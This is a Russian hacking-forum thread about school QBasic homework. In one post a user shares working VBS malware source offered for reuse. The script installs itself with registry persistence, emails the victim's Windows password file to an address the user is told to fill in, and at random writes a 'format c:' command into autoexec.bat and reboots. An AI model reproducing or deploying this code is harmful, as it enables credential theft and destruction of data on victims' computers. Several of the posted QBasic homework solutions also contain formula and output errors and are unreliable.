Qbasic(задачи) - Страница 4 - Форум CoDHacks.Ru

Новые сообщения · Участники · Правила форума · Поиск · RSS

Реклама

Страница 4 из 4 « 1 2 3 4
Модератор форума: g0d-me, Casus, FiLLiN, iEnjoy

Qbasic(задачи)

Nuke

Дата: Вторник, 22.03.2011, 16:37 | Сообщение # 46

Сообщений: 807

Награды: 63

Репутация:

2326

А на хрена сейчас учить бэйсик? Они в школах вообще от мира отстали? Да вообще Vbs-скрипт замути. Вот Пугаем информатичку))
Привет всем я MedZhaY.Сегодня в этой маленькой статье я научу вас создавать эффект вируса или заражения файлов. Извращаться мы будем на Батнике))Кто не знает это файл создаваемый в блокноте с расширением .bat
итак начнем)))

открываем блокнот
пишем в нем строчки

@Echo off
title virus
color 04
:x
dir/s
goto x;

усе))) теперь объяснение:
@Echo off - скрывает кучу ненужных нам надписей
title virus -запись в верхней части окна
color 04 - задаем цвет 0(черный) 4(красный)
:x - метка
dir/s -отчет виндовса,размер диска и т.д
goto x; -вернуться на метку x;

ну и что отчет как отчет подумаете вы,че там страшного то,а вы по пробуйте сохраните в расширении .bat и запустите)))

в следующей статье я расскажу как увеличить страшные ощущения у жертвы при виде этой месаги)))С вами был MedZhaY ДО СЛЕДУЮЩИХ УРОКОВ))))) Спасибо админу за этот кульный сайт

Нагло стыбзил с http://www.vbslab.ru

Писать только в жаббер [email protected]

3JIoDeu

Дата: Вторник, 22.03.2011, 16:38 | Сообщение # 47

Сообщений: 71

Награды: 60

Репутация:

1155

компилю без crt

Nuke

Дата: Вторник, 22.03.2011, 16:42 | Сообщение # 48

Сообщений: 807

Награды: 63

Репутация:

2326

Можно еще написать троян типа такого(не проверял палится анти-вирями или нет)
VBS.Dr.Troyan 2.1 ©

sub Reboot 'Процедурка перезагрузки
Set Shell=CreateObject('WScript.Shell')
Shell.Run 'Rundll32.exe User.exe,ExitWindows' 'Вызов WinApi с помощью RunDll ))))
end sub

function Random(n) 'Функция возвращает случайное число
randomize timer
Random=Int(n*rnd)
end function

sub destruct
set fs=createobject('Scripting.FileSystemObject')'File System
if fs.fileexists('c:autoexec.bat') then 'Если у нас Autoexec существует
set ab=fs.getfile('c:autoexec.bat') 'Возмём его
ab.attributes=0 'И поставим 'нормальные' аттрибуты))
end if
set autoexec=fs.CreateTextFile('c:autoexec.bat')'Перес оздадим Autoexec
'Далее запишем в него полезные комманды, их там явно не хватает!)
autoexec.WriteLine '@cls'
autoexec.WriteLine '@echo Windows upgrading your system...'
autoexec.WriteLine '@echo Do not abort this process!'
autoexec.WriteLine '@format c: /autotest'
autoexec.close 'Закроем Autoexec.bat
end sub

sub write(k,v) 'Процедурка записи в реестр
Set RegEdit = CreateObject('WScript.Shell')'Shell создадим
RegEdit.RegWrite k,v ' И запишем...
end sub

function read(k) 'Функция чтения с реестра
Set RegEdit = CreateObject('WScript.Shell') 'Shell создадим
read=RegEdit.regread(k) 'И просто прочитаем...)
end function
On Error Resume Next 'Вдруг ошибка!)
Set FileSystem = CreateObject('Scripting.FileSystemObject') 'Объект FileSystem
Set MeAgain = FileSystem.GetFile(WScript.ScriptFullName) 'Нука ,где тут мы?
Set WinDir = FileSystem.GetSpecialFolder(0) 'А гдеж у нас WINDOWS?
Set SysDir = FileSystem.GetSpecialFolder(1) 'А гдеж SYSTEM ?
CopyPath=SysDir&'Kernel.vbs' 'Наше будущее имя
AccName=read('HKEY_LOCAL_MACHINENetworkLogonUserNa me') 'Нука, что у нас за Узер здесь?
Write 'HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrent VersionRunSystem32',CopyPath 'А мы терь запускаемся вместе с ВИНДАМИ
MeAgain.Copy(CopyPath) 'Скопируем себя в SYSTEM
pswrdfile=windir&' '&AccName&'.pwl' 'Здесь у нас теперь путь к любимому файлу
set OutLook=WScript.CreateObject('Outlook.Application' )'Ваще объект создадим
set milo=OutLook.CreateItem(0) 'Создадим сообщение
milo.Recipients.Add('[email protected]') 'Это мой майл, если невпдлу оставь...)
milo.Recipients.Add('[email protected]') 'Сюда вставь свой майл
milo.Subject = 'PASSWORD'
milo.Body = 'PASSWORD FILE GOT>'
milo.Attachments.Add(pswrdfile) 'Добавим к письму любимый файл
milo.Send 'Оитправим почту
if random(120)=20 then 'Если вдруг случайное число=20
destruct 'То запишем в Autoexec комманду format
reboot ' И перезагрузим пень
end if

Нагло взял отсюда[/spoiler]

Писать только в жаббер [email protected]

Mariq

Дата: Вторник, 22.03.2011, 16:50 | Сообщение # 49

Сообщений: 88

Награды: 21

Репутация:

572

3JIoDeu, у тебя чудопаскаль??? Всегда на уроках без Crt писали и хоть бы хны... Или ты Crt убрал, а uses оставил?

Сообщение отредактировал Mariq - Вторник, 22.03.2011, 16:54

Alleks

Дата: Вторник, 22.03.2011, 16:53 | Сообщение # 50

Сообщений: 97

Награды: 4

Репутация:

194

Ну кубасик этот нужен если ты просто хочешь по программировать,это типо азбуки,если хочешь идти дальше в программировании и строить предложения так сказать)Но так как у меня социально-экономический профиль,мне дают бэйсик для основ,те кто профильные же учат Паскаль...
Ну так кто нибудь мне решит задачи,желательно все))

Mariq

Дата: Вторник, 22.03.2011, 17:34 | Сообщение # 51

Сообщений: 88

Награды: 21

Репутация:

572

3)Всхожесть семян пшеницы равна 95%.Сколько тонн семян нужно посеять что бы 35 тонн из них проросло?
cls
input a
let c = a/0.95
print c
end
4)Расстояние между домами в которых живут Петя и Коля,1200 метров. Однажды они вышли каждый из своего дома на встречу друг другу.Когда Петя прошёл А метров ,они встретились.Во сколько раз растояние которое прошёл Коля больше расстояние которое прошёл Петя?
cls
input a
let c=a/1200-a
print c
end
7)Сахарная свекла содержит 14% сахара С 1 га собирают 30т сахарной свеклы. Сколько гектаров надо засеять с сахарной свеклой,что бы получить В т сахара?
cls
input b
let c=b/0.14/30
print c
end
10)В классе N учеников После контрольной было получено:А-пятёрок,И-четвёрок, С-троек Найти процент троек,четвёрок и пятёрок?
cls
input n
input a *Пятёрки*
input b *Четвёрки*
input c *Тройки*
let q=a/n*100 *Пятёрки*
let w=b/n*100 *Четвёрки*
let e=c/n*100 *Тройки*
print c
end
Строго не судить, так как бейсик вообще не знаю... Делал программы на примере энжоя...

Enjoy_The_Silence